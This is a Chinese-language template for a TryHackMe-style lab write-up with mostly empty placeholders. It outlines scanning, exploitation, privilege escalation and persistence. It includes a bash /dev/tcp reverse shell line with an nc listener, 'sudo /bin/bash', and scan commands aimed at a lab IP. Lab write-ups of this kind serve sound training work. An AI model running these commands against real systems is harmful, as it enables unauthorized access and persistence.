THM-

(Updated: )
,

一句话总结：

🚀 靶场概述

难度：
描述：

📋 基本信息

🚀 本地机器信息 目标机器信息
IP 10.17.5.121 10.10.61.3
OS Kali

🔍 信息搜集

1. 🛠️ 端口扫描

  • 使用工具如 nmap 或 masscan 进行端口扫描，发现目标机器开放的端口。 
    1
    2
    nmap -sS -p- 10.17.5.121  # 执行全端口扫描
    nmap -sV -p <端口> 10.17.5.121  # 扫描开放端口的服务版本

2. 🔎 路径探测

  • 扫描网站或系统的开放路径，寻找潜在的漏洞。 
    1
    2
    3
       
    gobuster dir -u http://10.17.5.121 -w /usr/share/wordlists/dirb/common.txt
    dirb http://10.17.5.121

3. 🧰 服务枚举

  • 对服务进行详细的枚举，寻找潜在漏洞。
    • 使用工具如 nmap、nikto、dirbuster 等。

🧠 渗透思路

1. ⚡ 攻击向量

  • 根据目标机器暴露的服务和漏洞，选择攻击路径。
    • 如 Web 漏洞、SSH 漏洞等。

2. 💥 nday 利用

  • 查找未打补丁的漏洞，利用公开的 nday 漏洞。
    • 通过 Metasploit 或自定义脚本进行利用。

3. 🔍 信息审计

  • 审计目标系统，查找敏感信息或配置错误。
    • 通过配置文件、日志文件等进行信息审计。

🌐 Web 渗透测试

  • Web 漏洞扫描：使用 Burp Suite、Nikto 等工具进行 Web 应用的扫描。
  • 漏洞利用：利用常见漏洞，如 SQL 注入、XSS 等，进行进一步测试。

🔐 横向移动与后渗透操作

  • 横向移动：一旦获取基础 shell，搜索网络内其他潜在目标，进行横向渗透。
  • 后渗透操作：
    1. 获取敏感信息（如数据库、用户凭证）。
    2. 持久化访问，通过反向 shell、计划任务等手段保持连接。

🕵️‍♂️ 漏洞利用

漏洞名称：<漏洞名称>

  • 描述：<漏洞描述>
  • 利用过程：
    1. 漏洞分析：<简要描述漏洞的成因>
    2. 编写利用脚本 或 使用现有工具：<如何利用>
    3. 验证漏洞是否有效：<验证步骤>
    4. 获取相关权限或信息：<攻击目标后获取的权限>

💻 getshell

  • 描述：通过漏洞获取目标机器的 shell（命令行访问）。
  • 步骤：
    1. 使用反向 shell 获取访问权限： 
      1
      2
      nc -lvnp 4444
      bash -i >& /dev/tcp/10.17.5.121/4444 0>&1
    2. 验证 shell 是否成功： 
      1
      2
      whoami
      id

🔨 提权

  • 描述：在目标系统中进行权限提升，获取 root 权限。
  • 步骤：
    1. 查看当前用户和权限： 
      1
      2
      whoami
      id
    2. 查找本地提权漏洞或配置错误：
      • 使用 linpeas、GTFOBins 查找提权方法。
    3. 提升权限至 root 用户： 
      1
      sudo /bin/bash  # 提升为 root

📚 知识点回顾

  • 信息搜集技巧：
    • 端口扫描与服务枚举技巧。
    • Web 漏洞检测技巧（SQL 注入、XSS 等）。
  • 漏洞利用技巧：
    • 如何使用 Metasploit 或自行编写漏洞利用脚本。
    • 获取反向 shell 与持续访问。
  • Post-Exploitation 技巧：
    • 获取目标的敏感信息和访问权限。
    • 提升权限，进行横向移动。

🧳 攻击链与流程图

  • 可视化渗透测试的整体攻击过程，确保每一步都清晰。

📅 总结

  • 成功步骤：简要描述成功的渗透测试步骤和关键点。
  • 遇到的困难与挑战：列出在过程中遇到的难点及解决方案。
  • 后续建议：对靶场的进一步探索或防御建议。